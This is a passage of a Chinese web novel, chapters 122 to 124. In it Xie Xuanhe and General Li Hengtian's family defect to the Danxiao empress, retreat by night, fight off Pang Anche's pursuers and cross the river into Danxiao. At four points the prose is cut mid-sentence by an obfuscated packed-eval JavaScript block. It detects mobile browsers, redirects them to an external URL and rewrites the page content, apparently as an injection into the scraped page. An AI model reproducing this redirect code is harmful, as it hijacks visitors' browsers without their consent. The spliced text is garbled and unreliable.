l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545780|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与我,为的就是要我护你周全,你是她唯一的孩子,有一半百里家的血脉,我自当有责任照顾你,现在你处境艰难,我想听听你的想法。” 坐榻的另一端,谢烜赫闻言忖度起来,从信中获悉自己的真实身份以后,他便知道会有与丹宵皇帝见面的一天,只是令他意外的是他的这位姑母竟然也随同使团一起来了。 他的想法吗?从前,他理想的生活便是当一个贤明的世子,再与心爱之人长相厮守,然而这一切随着王府的灭门而破灭了。 如今,他和他身边的人正面临生死威胁,他要么等待死亡,要么奋起反抗。 “招兵买马。”良久,他吐出四个字。 景朝是谢家的天下,他身为谢家人,既然当政者不仁不义,视百姓为鱼肉,那他为何不可以争呢? “招兵买马?”丹宵皇帝闻言轻笑,“我可以借你兵马和钱粮,但是你真的能成功吗?” 谢烜赫被问沉默了,推翻王朝不是那么容易的事,梁甫谋划多年,又是豢养私兵,又是囤积钱粮,又是私铸兵器,最后还是以落败收场。 他,毫无根基,有的只是宗室子弟的身份,这在短期内是有一定号召力的,可以聚集起相当数量的投军者,但长久的战斗需要许利,纵使他有百万家财,在庞大的军需面前也不过杯水车薪。 再说通过拉拢文臣武将和地方势力,从而来得到各方面的支持,他们可能会因为他的身份参与进来,可同样是需要许利的,比如权利和爵位一类的东西,而且,在根基不稳的时候,他们通常是见风使舵的。 可是不尝试能怎么办呢,他可以置生死于度外,但他不能让黎家人陪着自己赴死,黎书意是那么想要护家族周全。 就在这时,他听见那清越的声音问他:“你有没有想过另一个可能?” 他好奇地偏头望过去,等待着对面的人接下来的话,只见女人唇角微勾,眼神自信,神色坦然地说了四个字:“一统三国。” 闻言,谢烜赫瞳孔骤缩,心中震惊,彻底失语。 丹宵皇帝无视侄儿的震惊,她从容地往下说:“丹宵的情况你应当有所耳闻,我膝下无子,这些年也曾从旁系血亲中挑了几人作为继承人培养,然而却没一个令我满意的。” 说到这,她略一停顿,目光直直落定到少年脸上,“我原想着这辈不行便从下一辈里再挑几个培养,哪知道上天给我送来了意外之喜,你比他们与我关系更近,也更优秀。” 谢烜赫与该唤姑母的帝王对视,尽管他表面强壮镇定,但心跳骤然间有一些加速,血液如滚烫的沸水在体内奔腾。 从湛卢口中得知皇帝也来了,他便在心里筹谋起来,他的想法就是借兵借粮。 尽管是这么打算的,但心里到底担忧这位姑母未必愿意与西景对抗,搅扰了本国的安宁,却不想她竟然给了自己这样的选择。 一统三国,这是何等宏愿,在孟章求学把酒言欢时,他与黎长策、谢煜然曾以此立志,可那是为景朝,如今却是为丹霄。 只是,他身丹霄二公主之子尚且有立场,那黎世伯和长策呢,还有近千名黎家军呢?而她又会怎么想…… 像是看出他的所思所想,对面飘来一问:“担心黎大将军?” 他不语。 “我此次前来一是为了接你回去,二便是为了礼贤下士,我丹宵军事力量相对薄弱,正缺像黎大将军这样的将才。” 谢烜赫闻言抬眼,这意思是要招揽黎世伯了,也是,这才说得通她为何冒险亲临了。 “你可否为我引荐?” 询问声在耳边响起,黎世伯最是忠诚爱国的,走到这一步实属无奈,他或许可以助自己重洗朝堂,却未必愿意投诚邻国。 谢烜赫心里没底,沉吟半晌,他想着姑且试一试,于是朝外头喊道:“纯钧。” 纯钧开门走进来,行礼问道:“主子有何吩咐。” “替我将黎大将军叫来,就说有要事要议。” 122. 撤退 黎书意和黎长策站在院外,兄妹俩正闲话间,见纯钧走了出来,他匆匆朝他们点头致意,然后便离开了。 过了盏茶的工夫,他人又折回来了,旁边还跟着他们的父亲,只见父亲瞧了他们一眼,接着便进院了。 本就对此次谈话关心,现在父亲又加入其中,两人就更关心了。 黎横天由纯钧领着进屋,刚才他在房里看布防图时,沥泉便告知他说丹宵使团来了,因着这到底是谢烜赫的私事,他便没有多问,未曾想会被请过来。 他做好了可能谈借兵的谈话准备,可当进门以后在看到榻上的同龄女子时,他的脚步猛然顿住,怔在了原地。 他是见过丹宵皇帝的,二十五年前,在与丹霄达成停战协议后他随先帝曾去俪兰会见过丹宵先帝,彼时眼前的人还是太子。 没想到丹霄皇帝竟然亲自驾临,黎横天惊讶之余,琢磨着他们叫自己的来意。 “黎大将军,别来无恙。” 丹霄皇帝向他看来,听见问候,他赶忙回神,躬身施礼道:“见过丹霄国君。” “不必多礼,大将军请坐。”丹霄皇帝颔首以示。 黎横天直起身子,瞥了谢烜赫一眼,最后在客座坐下了,默了片刻,还是忍不住开口问:“不知陛下唤我何事?” “大将军可愿归顺我丹宵?” …… 在外面站了快两刻钟,黎书意越发心浮气躁,她偏头问:“你说能成功吗?” 黎长策向院门口扫一眼,摇头道:“不知。” “咚咚咚!”黎书意不安地以手轻叩着石桌,脑中思绪繁杂。 近些年,丹霄一直处于坐山观虎斗的状态,她担忧丹霄皇帝会因为不愿和西景结怨,所以不肯借兵,只是答应给谢烜赫一个安生之所。 又煎熬地候了一刻钟,那空落的院门终于有了动静,一群人走了出来,为首的正是进行秘密谈话的三人。 见状,两位在凉亭喝了许久茶的候客第一时间站起身来。 谢烜赫看了他们一眼,然后亲自领着贵客离开。 见两人走远了,兄妹俩快步走出凉亭,迎到自家父亲跟前。 只是,二人还未来得及问话,黎横天自己先开口了,他看着一双儿女开玩笑般询问道:“如果为父去丹宵,你们怎么看?” 啊?黎书意一脸愕然,忙移目看向兄长。 黎长策也有些愣怔,面上写满了惊异与困惑。 兄妹俩对视完以后,不约而同转头望着自己的父亲,渴望得到更多的解释。 黎横天含笑解释说:“那不是普通女官,而是丹霄皇帝。” 什么,竟然不是使官而是丹霄皇帝,黎书意的身子猛地一震,顿时目瞪舌僵,心下不禁暗叹,难怪气度如此不凡。 谢烜赫是平阳公主百里好之子,丹霄皇帝对胞妹遗子看中也在情理之中,可亲自来访实在出人意料,毕竟身为一国之君出行需要万分小心,这里可是他国境内啊! 黎书意原本以为他们会谈借兵借钱粮,却未曾想竟然是招揽,和上回白榆使者来访的情况截然不同,她的父亲竟然被说动了,所以他们到底谈了什么。 “你们都谈了什么?”兄长将她想问的话问了出来。 黎横天没有立马回答,而是极目远眺,他望着脚下风景,感慨了一句:“或许有生之年,可一统三国也未可知。” 一统三国,黎书意的心跳因为这话变得剧烈,所以丹宵皇帝是以这个为理由劝说的吗?那的确能被说动。 自东景灭亡,群雄逐鹿,到三分天下,如今已有六十余载,这些年来三个国家都想吞并另外两方,然而斗来争去,都未能成功。 黎书意知道,一统三国一直是父亲的愿望,也是景朝的愿望,只是这个愿望在景帝身上压根看不到希望。 此时已时近未时,一家三□□流完基本情况,黎横天和黎长策去处理军务了,黎书意则朝自己小院走去。 半道上,黎书意碰见了送丹宵皇帝回来的谢烜赫,她遂停下步子,静待着他朝自己走过来。 极目远眺,万物尽收眼底,面前的景致壮丽而宁静,她侧头问已经走到身边站定的人:“她便是丹宵皇帝?” “嗯。”谢烜赫点头,俯瞰着脚下的大好河山。 “父亲刚才说丹宵皇帝劝他投诚。” 话落,见谢烜赫侧头看过来,一脸正色地凝视着她问:“如果我作为丹宵的王储,你怎么看?” 黎书意没有马上回答,虽然她猜到丹宵皇帝会将谢烜赫认回,许给他爵位,但就是不曾想过会考虑将他当作太子培养。 见谢烜赫还在等她的回答,她迎上他的目光,望着那双黑如点漆的凤眸,认真道:“去做你想做的事。” 少女神色坦诚,目光坚定,这般支持的模样令谢烜赫发自内心地笑了,其实,在他问出这话之前,他就已经有了决定,此刻只是想获得她的支持。 少年眉眼含着轻浅笑意,墨发在微风中飞扬,清新俊逸,精神奕奕,说不出的意气风发,黎书意也跟着笑了。 这一刻,她更加明白父亲的自信了,谢烜赫有一半丹宵血脉一半景朝血脉,只要利用得当,他可以得到两国子民的支持。 …… 当夜,谢烜赫、黎横天和丹霄皇帝又进行了一次谈话,定好了撤离计划和接应事宜。 次日一早,丹霄皇帝便带着湛卢和其他随行人员从后山离开了,除却像黎书意这样的核心人员,山庄中其他人尚不清楚她的真实身份,他们只当这些人和前日来访的白榆使者一样,是丹霄派来的说客。 时间紧迫,敌人就在不远处蹲守,又是千人的大撤退,他们需要商量出一个稳妥的对策,于是用过了中饭,谢烜赫和黎横天紧急召集各自的亲信,说是在忠义殿有要事相商。 不多时,被邀请参与商讨的人相继进殿,除开谢烜赫和黎家一家三口以外,来的还有黎裕,黎家父子的贴身侍卫沥泉和绿沉,祁安阁的四大暗卫纯钧、方天、龙胆和偃月,以及黎家军中展元和毕定边等其他几位部将。 等人到齐了,谢烜赫环视大家一圈,一脸正色地开口道:“昨日你们应该看到了丹霄的使团,其实来的并非是单纯的丹霄使者,那名女官是丹霄的皇帝。” 话音刚落,在场大多数人目瞪口呆。 在骚动未起之时,谢烜赫接着往下说:“我和大将军已经商议好了,决定投靠丹霄。” 这句话说完,众人面上的惊讶和疑惑瞬间被纠结所取代,屋内陷入了诡异的寂静。 像沥泉、绿沉和纯钧,他们早就知晓了内情,所以脸上既没有惊讶,亦没有犹豫。 黎裕一直在营房那边理事,不曾与丹霄皇帝接触过,尽管被吓了一跳,但对他而言,并没有什么难以抉择的。 而黎家军中某几位部将则显得犹豫不决,身为西景子民,反抗不公与向邻国投诚的区别很大,不过最后他们也都点头了,因为比起西景皇帝,他们更忠诚于大将军。 达成了共识,大家就组织撤退正式商议起来,由黎横天、谢烜赫和黎长策主导,他们从具体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545781|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部署到行动时间,再到撤退路线,每一项都进行了周密的安排,足足讨论了一个时辰,才终于彻底议妥。 未时末,紧闭的殿门终于打开,出了大殿,大家四散开来,去履行各自的任务去了。 黎书意也往所居的院落快步而去,一回到院子,她让兰亭把叔母、两位姑姑和舒凌寒叫来,然后便坐在房里等着。 没候太久,人便一个个赶来了,等人到齐后,她的视线从她们身上依次划过,然后开口道:“这几日的情况你们都看到了,皇帝是不会善罢甘休的,大军来势汹汹,山庄中只有千余人,根本抵挡不了太久,昨日丹霄使节来访,表示愿意接纳我们,父亲已经决定投诚。” 说毕,她看向五人,见她们反应不一,有的惊讶,有的忧虑,但似乎没有抗拒。 她明白,这些日子她们虽然嘴上不说,但是彼此心里都有底,知道守下去大概率只有一个结果。 “丹霄都城伊洛繁荣富庶,庆典活动特别多,特色小吃层出不穷,服饰也华丽多样,婢子早就想去看看了!”片刻后,兰亭打破了沉默,欢快地说道。 “是。”舒凌寒接话,“并且那里的女子行动不受限制,所以你是可以随意在街上闲逛的。” 两人的对话冲淡了叛国的愧疚和对未来的迷茫,室内的氛围一下子轻松起来。 紧接着,叔母和两位姑姑也应和起来,大家你一言我一语,越聊越多,仿佛她们只是外出去游玩一样。 黎书意见状笑了,旋即鼓动道:“那我们现在便开始收拾吧。” 于是她们四散开,各自忙各自的去了。 待人都走了,黎书意转着身子环视屋子,刚住了没几日,从府上带来的东西好些都还未来得及拆开,倒是省去了许多麻烦。 她与兰亭在小厅、书房、卧房里来回穿梭,将那些拿出来使用的重又收拢了。 山庄仓库,谢烜赫站在仓门口看着阁中暗卫搬运粮草和军械,秘密撤退需要轻装上阵,他们只用保证路上的口粮即可,因此负担较小,转移速度很快。 演武场上,黎横天和黎长策父子二人率领众部将集结了所有军士,然后通知说为保存实力,他们将于今夜悄悄撤退,令众军士速速收拾行装,准备动身。 众军士闻令,即刻行动起来,他们转身往各自的营房走去。 几个地方同时行动,大家紧张而有序地收拾着各自的物品。 傍晚时分,行李物品和粮食军械基本收拾妥当后,它们被转移至后山的空地上。 黎书意一早就整理好了,此刻她站在父兄、谢烜赫身边,百无聊赖地望着军士们装载辎重。 正看着,见纯钧带着一小队人从东面走来,中午的商讨会上,他、方天、龙胆和偃月被派往山庄的东西南北四个方向进行巡山。 尽管敌军不可能大规模地转移至后方,但一定会派探子从那边潜入,暗探山中的情况,若想要悄无声息地转移,就必须确保不泄露一丁点风声。 来到近前,纯钧上报道:“卑职在东南角发现了一队近五十人的侦查兵,已经全部处理了。” 不多会方天、龙胆和偃月也从另外三个方向回来了,好在他们没再发现其他探子。 又过了一刻钟,沥泉从东南方向的小径快步走来,他被父亲派去侦察敌方的动向,只听见他说:“如主子所料,庞安澈并未向地方官员请求支援,而是在重新整顿兵马,应该明晚就会夜袭。” 此时,一切已经准备就绪,大家不约而同地看着西坠的太阳,等待着黑夜的到来。 123. 追兵 夜半三更,天空黑如陈墨,山野间寂静万分,后山的山道上,撤退的队伍宛如一条蛰伏在草地里的长蛇,逶迤而行。 由于是秘密撤离,大家刻意放轻了动作,不敢大声交谈,生怕会惊扰到对岸的敌人,四下只余沙沙的脚步声,以及车轮碾过碎石和枯枝的轻微响动。 直到从西侧下山,走出了十余里路,所有人才卸下紧绷的神经,渐渐放开了手脚,行军的速度也不由加快了。 慢慢地,极远的天空露出鱼肚白,夜雾也渐渐淡去,四周的景物变得有色彩了,终于在又翻越了一座高山之后,他们停下来休整。 大家纷纷卸下沉重的装备,一屁股坐在荒地上,然后喘息着从包袱里拿出干粮和水袋,战马也得以解脱,一个个“噗噜噜”吐着粗气,接着就地吃起青草来。 在一片安静之中,一名军士忽然开口问道:“大将军,我们究竟要撤退到哪里?” 正在喝水的黎横天闻言滞了一瞬,旋即回答道:“天昌县。” 昨天才刚与丹霄的使者会见完,今天便要去两国交界处,这意味着什么不言而喻。 四下静默了片刻,有人打破沉默,问出众军士所想:“世子和大将军莫不是打算叛国?” 此话一出,队伍里的气氛陡然间改变了。 黎书意捏紧了衣角,尽管这话不是对她说的,她却感到了莫大的压力,虽然这些军士是忠于黎家的,但这并不代表他们就愿意投靠邻国。 未避免走漏了风声,先前商定的结果便是在下发命令时只说撤退,而不说落脚的地点。 她担忧地侧过头望着自己的父亲,要对信任自己的部下说出自己已经投诚邻国,他心里应该很不好受吧…… 黎横天轻抿着唇,眼睛扫过面前那一张张询问的脸,最后说了一个“是”字。 这话甫一出口,在场的人有的愕然,有的失望,有的平静,有的欣喜。 那质问的人满面愤然,旋即他转向靠在树干上持剑抱臂的谢烜赫,不甘地问:“那世子您呢,您身为西景宗室,难道也打算为他国买命吗?” 谢烜赫保持姿势,他看了话者一眼,淡淡吐出一句道:“是它先抛弃了我。” 话落,又是一阵诡异的沉默,因为在场所有人都明白,无论是大将军还是世子,他们都是迫不得已。 一直旁观谈话的黎书意此刻心里发着闷,她希望队伍里不会有纷争,但那终究太过理想化了,这些人之所以愿意追随父亲和谢烜赫,一是出于对他们的信任,二是抱了建功立业的想法,而这样的期望一旦被打破了,势必会走向分裂。 最终有数十人无法接受投诚,按照先前商定的方式,他们被绑了起来,打算离开时再扔下不管。 …… 日出东方,晨光熹微,营地寂静无声,庞安澈走出中军帐,打了一个哈欠,他背手目视远方。 只见弯镰山山腰上雾气缭绕,山庄在雾海里若隐若现,显得虚无飘渺,并不见半点人烟。 面前这条约四丈宽的活水河和坚固的城墙是他进攻的拦路虎,既然从前方难以突破,那他便从后面想办法。 即便他们无法全军绕道而行,但却可以派一小队精锐绕到后山偷偷潜入,先探查情况,再趁机偷袭,最后从内打开关门。 算算时间,探查小队应该已经到了,到时候他们来个里应外合,他就不信不能突破。 想到这,他微眯起眼睛,唇角向上勾起,今夜他便会带军攻破山庄,将逆党通通拿下,然后风风光光地回去,接受赞誉与赏赐。 正如此作想,耳边传来脚步声,转过头一看,见是自己的副将,便问道:“有消息了吗?” “还没有。” 庞安澈闻言皱眉,心想难不成是被发现了,下一刻又觉得自己太大惊小怪了。 等到午间,见人依旧未归,他心里又开始不安起来,望着刚端来的饭食,是半分食欲也无。 考虑到晚上就要作战,他还是拿起了筷子,正在这时,侍卫急匆匆跑进来道:“将军,人回来了!” 他“啪”一声放下了筷子。 军帐紧接着被撩开,走进来一人,见他面色苍白,气若游丝,手臂和胸口上带着几道不小的剑伤,庞安澈心头“咯噔”一下,那股迎接好消息的轻松愉悦顿时不见了。 “发生了何事?”他绷着脸问。 探子有气无力地回道:“将军,他们已经从山庄撤离了。” “什么?撤离!”庞安澈抬高嗓门,从座位上弹起,一脸的不可置信,顾忌着自己身为一军主帅,他努力按耐着心里的惊忧,深吸一口气后,忙追问道,“到底发生了什么,你给我仔细说来。” 探子有气无力地说起来:“卑职按要求带着手下们在后山探寻最佳的进攻路线,不想被巡查的人给发现了,于是两方便打了起来,那为首的人武功高强,卑职不敌,身上中了数剑,最终昏死过去,再睁开眼时发现已是深夜,迷迷糊糊间听见耳边传来动静,未免打草惊蛇,卑职便躲在死人堆里偷偷观察,然后发现那竟然是一支军队,队里粮草辎重无一不备。” “嗡!”,庞安澈的大脑一阵眩晕,巨大的恐慌笼罩着他,上一次的失利已是不该,他本想着今次认真准备,然后再给他们致命一击,好挽回颜面,未曾想反倒是给了敌人喘息的时间,让他们提前撤退了。 心头如有千万只蚂蚁在啃噬,庞安澈焦躁不安到极点,着急地问道:“可知他们往哪里撤退的?” 探子摇头,“不知道具体地点,只看见他们是往西面走的。” 西面……庞安澈闻言沉吟,将西面的那几座小县城的情况在脑袋里梳理了一遍,思索着谢烜赫可能的落脚点。 突然,他眉毛一跳,心底浮起了一个可怕的猜测,天昌县再过去便是丹霄,想到这个可能,他急得脑袋瞬时涨大了一圈。 若只是逃去天昌县,那他还有将功折罪的机会,可若是逃到了丹霄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545782|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么他将会落得个办事不利的罪名,陛下的忍耐度早就到极限了,说不定一生气,砍了他的头都有可能。 “传令下去,拔营出发!”他迫切地下令。 铁津河河畔,一群将士忙碌地准备着船只,将一艘艘战船推入河中,然后快速登船划桨,少了山庄守军的阻拦,渡河变得容易起来。 庞安澈立在岸边,静默地望着先遣队渡河,然后在城墙前架起云梯,再迅速地向上攀爬。 候了一刻钟,对岸那扇厚重的大门终于从两侧打开,接着吊桥被放下来,他踏上桥面,来到山庄脚下。 金阳高照,茂盛的树木在轻风中摇曳,山林里清幽雅静,然而除了虫鸟之声,这里无半分人气。 走得当真干净利落,没时间愤怒,庞安澈领着队伍穿行其间,直往后山而去,最后顺着探子所指的撤退路径前行。 另一边,黎书意与谢烜赫一行人为了抢时间,他们一路紧赶慢赶。 往深山老林走,免不了要绕路,往城镇村落走,免不了与地方军队发生摩擦。 这样七弯八拐,在第四天入夜时他们终于赶到了天昌县,此时距离约定好的接应地点,惠江,还有将近二十余里。 就地在城外的乡间旷野解决了晚饭,一更天时队伍再次起程。 尽管鞍马劳顿,每个人脸上都风尘仆仆的,但是因为目的地已经近在眼前,大家都鼓足了劲,眼睛里闪动着轻松与畅快的神彩。 然而,正在他们欣喜之时,背后由远及近传来了雷鸣般的响动,身为作战经验丰富的将士,他们很快便反应过来,这来的是一支数量不小的军队,这个发现令所有人措手不及,大家一时间五色无主,六神不安。 黎书意惊骇不已,按照父亲在商讨时所言,庞安澈可能会在他们走后次夜突袭,当他发现人去楼空下令追赶时,最快也会比他们落后半日,而当追兵寻着踪迹赶到惠江边时,他们已经在船上了。 可现在…… 骏马奔驰,踏得大地都在颤抖,举目望去,但见道路的尽头尘土滚涌如乌云,蹄声越来越清楚,她全身的血液凝固,那颗逐渐放松的心又被拎得悬到半空了。 “偃月,你带着家小们先走!”谢烜赫干脆下令道。 黎横天附言:“毕定边,你带上重伤的将士跟着她们一起!” 就在众人愣神之际,两位将领紧急向各自的手下传达了命令。 听见他们的话,黎书意急忙回神,她看着二人不禁鼻子一酸,心里难过极了,而他们则用抚慰的眼神回看她。 尽管不愿先行离开,但是她并没有反抗,因为她知道自己在这里什么也做不了,倒不如快些赶去与丹霄接应的船队汇合,只有那样才能搬来救兵。 最后望一眼驱马前去迎战的亲人,她在偃月和毕定边的保护下和其他女眷继续按计划往前走。 骏马奔跑的速度很快,清晨的冷空气源源不断灌入口鼻,她忍住身体的不适,快马加鞭。 124. 入境 黎书意一行人离开不过半柱香的工夫,追兵已然赶到。 旷野之上,两军对峙而立,战马发出焦躁的轻嘶,空气里充满山雨欲来的紧绷和压抑。 “黎横天,你身为西景子民,不仅不敬畏陛下,现在居然还通敌叛国,实在枉为曾经的大将军!”半晌,庞安澈打破沉默说道,尽管他心中很清楚事情的始末,但嘴上的话却说得大义凛然。 说毕,见对面的白面将军平静无波,他太阳穴处青筋骤起,心里升腾起一股怒火,这副沉着淡然的姿态一如既往的令人讨厌,不再多言,他横枪纵马,径直向前冲去。 见庞安澈疾驰而来,黎横天眼神一凛,毫不犹豫地挺枪拍马相迎,两枪最终相撞,火花飞溅而起。 紧接着,谢烜赫与黎长策也迅速投入战斗,下一刻,黎裕、沥泉、纯钧、绿沉等人,以及他们身后的千余名将士全部持戈一拥而上,大家的利刃直指追兵将卒,互相配合,共同抵御着从四面八方汹涌而来的敌人。 刀剑交击之声不绝于耳,喊杀声震天动地,然而敌众我寡,且他们这边尚有众多伤员,没过太久,便在这场激烈的战斗中渐渐落了下风。 就在他们卯足劲头顽强抵抗,背水一战时,一队人马从山道侧翼冲出,那些人快速汇入战场,场上的形势顷刻间发生了改变。 庞安澈正艰难地抵挡着黎横天的攻击,忽然看见敌方有援兵前来增援,紧接着又发现他们身上的铠甲乃是丹霄制式,心里陡然一惊。 来时,他只想着追上人,然后再将其一网打尽,却忽略了丹霄方面的动作,没想到对方居然还派兵相助,似乎很看重黎横天和谢烜赫。 丹霄援军的加入让他们这边慢慢显出颓势,而叛军也开始向后撤退,战场一点点偏移。 就在他慌神的间隙,黎横天持枪朝他一阵狠挑猛刺,然后趁他专注躲闪时调转了马头,一眨眼便飞出几丈远。 他见状气急,不甘地对手下们大喊道:“给我追!” 然而,来时的路上,他们已经奔袭了太久,早就人困马乏了,速度根本比不上,到底还是落于人后了。 等他们赶至惠江边,只见江上泊着数艘楼船,每一只船的甲板上都站有数十名弓弩手,而他们所追之人正迅捷地登船。 “咻咻咻!”还来不及反应,对方的羽箭已经射了过来,庞安澈周围响起了此起彼伏的惨叫声。 看着逐渐远离的船,他明白自己这一战又败了,他愤恨地盯着甲板上的人,看见黎横天、谢烜赫正拱手向一人行礼。 羽箭因射程不够而掉入水中,庞安澈束手无策,急得直在那里跺脚,然而船还是向前开去。 黎书意站在甲板上远望,岸边追兵们的身影在视野里一点点模糊,默默瞧了一会,她移开视线将目光投向江面,望着苍茫的江水,她心里突然伤感起来,此江一渡,便是他国的领土了。 “多谢陛下出兵相助!” 心下感慨之际,听见说话声,她遂转过头去,见父兄、谢烜赫和叔父一干人等聚在丹霄皇帝一步开外的地方,他们正在恭敬地行礼问候。 “不必客气,”丹霄皇帝唇角勾起一个恰到好处的弧度,用欣赏的眼光横扫众人,然后郑重说道,“丹霄有你们,是朕之福。” 这下是真的投诚了。 黎书意慢慢扫过那一张张熟悉的面庞,最后顺着他们的视线移到了丹霄皇帝身上,因着身份使然,前两次碰面时她总是匆匆一瞥,并未将人看真切。 现在,她站在旁侧悄悄打量,丹霄皇帝眉深鼻高,黑眸深邃睿智,面上带着上位者不容侵犯的威严,身高七尺,姿态挺拔如松,一举一动都彰显着帝王的气势与风范。 感慨完,她在众人结束谈话时收回了视线,同时心里的怅然也消失了大半,她终于想起来,去丹霄不止是父兄和谢烜赫的机遇,也可以是她的机遇,她不是一直不甘心深居闺阁吗,而丹霄正好能够满足她的愿望。 …… 孟章,御书房内,景帝将日前送来的折子重重拍在案上,厉声斥责道:“当真无用,两万兵力居然还攻不下一座仅有千来人的山庄!” 两万不行就三万,三万不行那就四万,他还就不信他拿不下这群乱臣贼子。 正这般想着,赵让急匆匆走进来,他不耐地扬起脸问道:“何事慌慌张张?” 赵让被皇帝阴沉的神色吓得抖了一抖,稳住心神后,他赶忙报说:“陛下,这是刚从陵光送来的急报。” 急报?景帝闻言眉头轻挑,庞安澈最好别再给他出茬子,“送上来。” “是。”赵让应诺,他小心翼翼地上前,双手捧着折子递出去。 景帝一把拿过折子,然后快速阅览起来,刚看了前两句话,他身子陡然一僵,彻骨的寒意从脊椎蔓延至全身。 上面说黎横天和谢烜赫一行人投靠丹霄了,他们已经登上了丹霄的船只,渡过惠江了。 自从探听到白榆派遣使者入金错山庄之后,他便提防着这事,因此才紧急下了清剿的命令,不曾想还是没能躲过,谢烜赫是什么时候和丹霄勾搭上的,竟这么及时。 …… 晴阳高照,宽阔的江面亮如明镜,微风拂过,带起粼粼波光。 黎书意站在甲板上极目远望,尽管还有一段时间才能靠岸,但已经依稀能看见对岸了,俪兰,丹霄的府城就快到了。 正吹着风,谢烜赫走了过来,问她:“紧张吗?” “有一点。”她侧过头坦诚相告,接着又补充一句,“不过也很期待。” 谢烜赫点头道:“记得你书架上有不少关于丹霄的书册。” 她闻言莞尔一笑。 风柔和地吹着,耳边是悦耳的浪涌,静了片刻,又听见谢烜赫问:“有没有想过到那之后都想去哪里逛?” “现在说这个太早了吧。”她无奈地回看他。 两人闲聊了一会,然后一同下甲板去了。 楼船又航行了一个多时辰才终于靠岸,黎书意重上甲板,之前渺小的景物此时显现出它的原貌,她游目四顾,视线在船只、渔夫和岸上跳跃着,就像幼时初到孟章那样,入眼的每一样事物都让她觉得新奇,她观赏着这个叫做俪兰的府城。 因被清场了,所以近边处并没有其他的客船和上下船的旅客,只见卫队将方圆几丈内围得铁桶相似,包围圈中站着几十名俪兰府城的官员们,他们衣冠齐楚,姿态端方,当丹霄皇帝出现在甲板上时,那群人毕恭毕敬地弯腰行礼。 船上的人已经活动起来,一批搬运物品,一批维护秩序和安全,黎书意跟在父兄身后朝舷梯走去。 一下船,等候的侍从便迎到跟前,这个带着打点行装,那个指引着上马车,将一切安排得井井有条。 不过半个时辰,他们就已经收拾停当,于是队伍浩浩荡荡地往郡守府而去。 等到了府上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545783|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,招待也很周到,屋主先为他们安排了舒适的客房,晚上更是预备了佳肴美馔,又请乐人助兴,这顿饭一直吃到戌时才散席。 夜深人静,卧房里漆黑一片,黎书意静静躺在床上,明明身后没有追兵,床榻也软和舒适,她却全无睡意,她控制不住地在脑海里描绘起将来的生活,将各种可能性想了无数遍,才终于闭上眼浑浑噩噩进入梦乡。 之后的一天,府上的招待还是像前日那般妥帖,因为想提前了解丹霄子民的生活,用过了午饭,黎书意带着兰亭和舒凌寒出门去了。 街市繁华,商铺错落有致地罗列在大道两侧,铺里商品琳琅满目,布料衣裳、手工制品、干果点心……闲逛的途中,看见不错的黎书意便买下。 待逛尽兴了,她走进一家食肆,等菜的间隙,周边食客的议论如轻风飘了过来。 “真没想到,西景的大将军和昭王世子居然会投诚我丹霄!”一个青年叹道。 与他同桌的友人闻言搭茬:“就他们目前的状况而言,投诚才是上策。” “也是。”青年点头,接着又感慨说,“不过陛下居然亲自出马相迎,实在令人意外!” “这自然是有理由的。”另一桌的某中年大汉突然插话进来。 “怎么说?”青年问。 附近的食客也都好奇地看着他。 那人一扫众人,解释道:“我的一个亲戚是郡守府的下人,据他所说,皇帝待那位世子极好,且还听见世子叫她姑母呢!” “什么!” 有人不可置信地惊呼出声,其他人则目瞪口呆,愣在当场,刚才热闹无比的食肆,此刻安静得宛如一间空屋。 过了许久,一老者打破沉默,警告道:“如此大逆不道之言,你休要乱说!” 那人不以为意,只笑说:“你们是不是忘了咱们的平阳二公主了。” “可是二公主不是早就……” “若没有呢?” “你能不能别买关子,给痛痛快快说出来!”一个二十岁上下的小伙心急地催促。 那人遂在众人的注视下认真说起来:“大家应该都知道,平阳公主在渭泽之战中失踪了,当年圣上遍寻不见,众人皆以为她凶多吉少,实际上公主并没有死,她被一个路过的西景商人给救了,最后辗转去了陵光,不过因为坠崖失忆了,忘记了自己是公主,那商人看她无父无母,又聪明伶俐,于是认她做了女儿,并教她经商,从此母女俩相依为命,后来她与昭王邂逅,两人情投意合,再然后昭王力排众议娶了她,她便成了昭王妃。” “此话当真?” 那人肯定地一点头道:“自然。” 良久,一人愣愣感慨道:“没想到昭王妃竟然是平阳公主……” 